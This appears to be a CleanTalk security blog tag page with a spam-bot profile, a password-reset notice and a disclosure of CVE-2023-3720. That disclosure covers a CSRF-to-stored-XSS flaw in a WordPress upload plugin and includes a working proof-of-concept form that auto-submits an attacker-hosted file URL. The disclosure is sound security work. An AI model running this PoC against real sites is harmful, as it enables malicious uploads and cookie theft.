Tag: cybersecurity

  • ot*****@*************od.com — Detection and Blocking

    What Is This Bot?

    The email address belongs to a set of randomized domains generated for automated use. As a result, it does not correspond to a legitimate mailbox and is therefore used for automated form submissions. In practice, log data shows repeated, high-frequency submission attempts, which are typically associated with domains lacking valid MX records. In this context, the observed activity involves machine-generated input that targets website forms and underlying application logic.

    Recent Attacks Detected

    Across websites protected by CleanTalk Anti-Spam, this bot consistently demonstrates aggressive behavior. On December 2, 2025, it initiated a rapid sequence of contact-form submissions at machine speed, and attempted multiple user registrations. The following day, the system recorded a pattern of IP rotation that is characteristic of botnet behavior. On December 4, the bot was again identified scanning form endpoints, but the attempt was stopped before reaching the application layer thanks to SpamFireWall filtering.

    These events closely align with bot behaviors described by Imperva, where malicious automation imitates real users, rotates identities, and continuously probes for vulnerabilities.

    How This Spam Bot Operates

    Instead of behaving like a normal visitor, this bot submits forms far faster than a human ever could, changes its user agent headers to appear legitimate, and introduces artificial timing delays to bypass simple JavaScript filters. It fabricates random names, email addresses and message subjects, while trying to discover weak validation rules or unprotected endpoints such as custom APIs.
    Beyond this, its activity distorts website analytics by generating fake conversions, sign-ups and form submissions. As confirmed in OOPSpam’s 2024 report, synthetic and disposable emails — exactly like those from the mailcorplrtgood domain cluster — represent the fastest-growing pattern of automated abuse.

    Why This Bot Is Dangerous

    Bots of this type cause multiple layers of damage. They inflate registration and form-submission counts, undermining accurate analytics. Their constant POST requests increase server load, sometimes raising CPU usage by as much as 15–25%, as highlighted by ClickCease’s research.
    In addition, because they repeatedly scan your site structure, they can reveal vulnerable entry points or expose weak validation. Since modern bots easily bypass common CAPTCHA implementations, their activity often precedes more serious intrusions such as credential stuffing or brute-force attempts.

    How to Check This Email

    The easiest way to validate whether an email is legitimate is to use the CleanTalk Email Checker: https://cleantalk.org/email-checker

    In addition to the Email Checker, you can also verify this address in the *****@*************od.com“>CleanTalk Public Blocklist.
    This database records spam activity, failed form submissions, and bot-generated behavior for domains and email accounts.
    You can view the real-time status of this address here:

    The checker evaluates email existence, spam history, MX configuration and signs of bot activity. For ot*****@*************od.com, the system typically reports that the address does not exist, is associated with spam activity, and belongs to a low-reputation synthetic domain — all indicators of a high-risk automated bot.

    stop spam bot attacks

    How to Protect Your Website

    The most reliable method of stopping this bot is to activate CleanTalk Anti-Spam, which filters automated submissions before they reach your backend. Combined with SpamFireWall for IP-level blocking and Anti-Crawler technology for detecting scanning patterns, the system prevents bots from overloading forms or probing endpoints.

    Recommended setup:

    ✔ CleanTalk Anti-Spam Plugin
    ✔ SpamFireWall
    ✔ Anti-Crawler
    ✔ Form & Registration Protection

    Install Anti-Spam:
    https://cleantalk.org/help

    Conclusion

    The address ot*****@*************od.com is part of a known botnet that uses machine-generated domains to carry out high-volume automated attacks. With malicious bot traffic representing nearly a third of the modern internet, proactive and cloud-based anti-spam protection is essential.

    CleanTalk Anti-Spam blocks bots before they interact with your website, preserving performance, security and analytics integrity.

  • We Have Reset 178 Passwords That Might Have Been Compromised

    We Have Reset 178 Passwords That Might Have Been Compromised

    While monitoring exposed password databases we found a leaked database that contained 178 compromised credentials of CleanTalk users among other data. These emails/passwords were compromised some time ago and after that were used to create a CleanTalk account by their owners. As soon as we found this potential vulnerability – we immediately reset passwords for all CleanTalk users related to these email addresses.

    Please remember to be careful when clicking on third-party links or using unverified services or WordPress plugins. And be sure to check the list of your compromised passwords in your browser. If you use Google Chrome you can find it here: chrome://password-manager/checkup/compromised.

  • CVE-2023-3720 – Upload Media By URL < 1.0.8 - Stored XSS via CSRF

    CVE-2023-3720 – Upload Media By URL < 1.0.8 - Stored XSS via CSRF

    During a thorough security assessment of the Upload Media By URL plugin for WordPress, a concerning medium-level vulnerability has been uncovered in versions prior to 1.0.8. This vulnerability poses a significant risk to your website’s security and calls for immediate action! If exploited, this vulnerability allows attackers to potentially upload files containing malicious code directly to your WordPress site, exposing your users to harmful scripts and attacks.

    Main info:

    CVECVE-2023-3720
    PluginUpload Media By URL
    CriticalMedium
    Publicly PublishedAugust 2, 2023
    Last UpdatedAugust 2, 2023
    ResearcherDmtirii Ignatyev
    OWASP TOP-10A2: Broken Authentication and Session Management
    PoCYes
    ExploitWill be later
    Reference https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3720
    https://wpscan.com/vulnerability/16375a7f-0a9f-4961-8510-d047ffbf3954
    Plugin Security Certification by CleanTalk

    Timeline

    July 10, 2023Plugin testing and vulnerability detection in the Upload Media By URL plugin have been completed
    July 10, 2023I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
    July 17, 2023The author has eliminated the vulnerability and patched his plugin
    August 2, 2023Registered CVE-2023-3720

    Discovery of the Vulnerability

    During a security assessment of the Upload Media By URL plugin for WordPress, a medium vulnerability was identified in versions prior to 1.0.8. The plugin lacked Cross-Site Request Forgery (CSRF) protection when handling file uploads, allowing attackers to trick logged-in administrators into uploading files on their behalf, including HTML files containing malicious JavaScript code that could execute when accessed by users with the unfiltered_html capability.

    Understanding Cross-Site Request Forgery (CSRF)

    Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application without their knowledge or consent. In this case, attackers can exploit the absence of CSRF protection in the Upload Media By URL plugin to create a crafted HTML file hosted on an external server. If a privileged user, such as an administrator, unknowingly accesses the external link, the malicious HTML file can trigger the upload of harmful files onto the WordPress system.

    Exploiting the Cross-Site Request Forgery (CSRF) vulnerability

    By crafting a malicious HTML file that includes a CSRF payload, attackers can entice administrators with upload privileges to visit the external link. Once the link is accessed, the malicious file exploits the lack of CSRF protection in the plugin to perform unauthorized actions, effectively tricking the administrator into uploading harmful files to the WordPress site.

    POC code:

    <html>

      <body>

      <script>history.pushState(”, ”, ‘/’)</script>

        <form action=”http://your_site/wordpress/wp-admin/upload.php” method=”POST” enctype=”multipart/form-data”>

          <input type=”hidden” name=”multiurl” value=”http://your_external_server/123.html” />

          <input type=”submit” value=”Submit request” />

        </form>

        <script>

          document.forms[0].submit();

        </script>

      </body>

    </html>

    Potential Risks and Real-World Impact

    The CSRF vulnerability in the Upload Media By URL plugin poses severe risks to website administrators and users alike. Beyond the technical implications, it also serves as a potential tool for social engineering attacks. Real-world scenarios include:

    1. Stored Cross-Site Scripting (XSS) Attacks::
      Attackers could upload HTML files containing embedded XSS payloads, compromising the security and privacy of users accessing the affected pages, and potentially exposing sensitive data or credentials.In almost all cases , Stored XSS is used to steal cookies , thereby Account Takeover.
    2. Malware Distribution:
      Malicious files, such as infected scripts or executables, could be uploaded, leading to the dissemination of malware among website visitors or affecting the overall integrity of the website.
    3. Unauthorized Content Injection:
      Attackers might use this vulnerability to inject unauthorized content into the website, damaging the site’s reputation, or defacing it with inappropriate or harmful materials.
    4. Social Engineering Exploits:
      Since the plugin allows the upload of files, attackers could craft seemingly innocent files (e.g., images, documents) with misleading names or enticing content to lure unsuspecting users into downloading or opening the files, facilitating social engineering attacks.

    Recommendations for Improved Security

    To mitigate the risks associated with this vulnerability and enhance overall security, the following measures are strongly advised:

    • Immediate Plugin Update:
      Website administrators should update the Upload Media By URL plugin to the latest version, which includes CSRF protection and patches this vulnerability.
    • Implement CSRF Protection:
      Plugin developers should include robust CSRF protection mechanisms when processing sensitive actions, such as file uploads, to prevent unauthorized access.
    • Regular Security Audits:
      Conduct regular security assessments and penetration tests on WordPress installations to identify and remediate potential vulnerabilities proactively.
    • User Privilege Restriction:
      Implement strict access controls to ensure that users can only access information that they are authorized to view based on their roles and permissions.
    • User Awareness:
      Educate website administrators and users about the risks of sharing sensitive information and the importance of strong, unique passwords.

    By addressing the CSRF vulnerability in the Upload Media By URL plugin and implementing these security recommendations, website owners can significantly reduce the likelihood of security breaches, protect their site’s integrity, and safeguard against social engineering exploits.

    Use CleanTalk solutions to improve the security of your website

    Dmitrii i.

    If you think your website is infected and you need help, contact us for malware cleanup. Our specialists will provide you with professional assistance in cleaning your website from malware.


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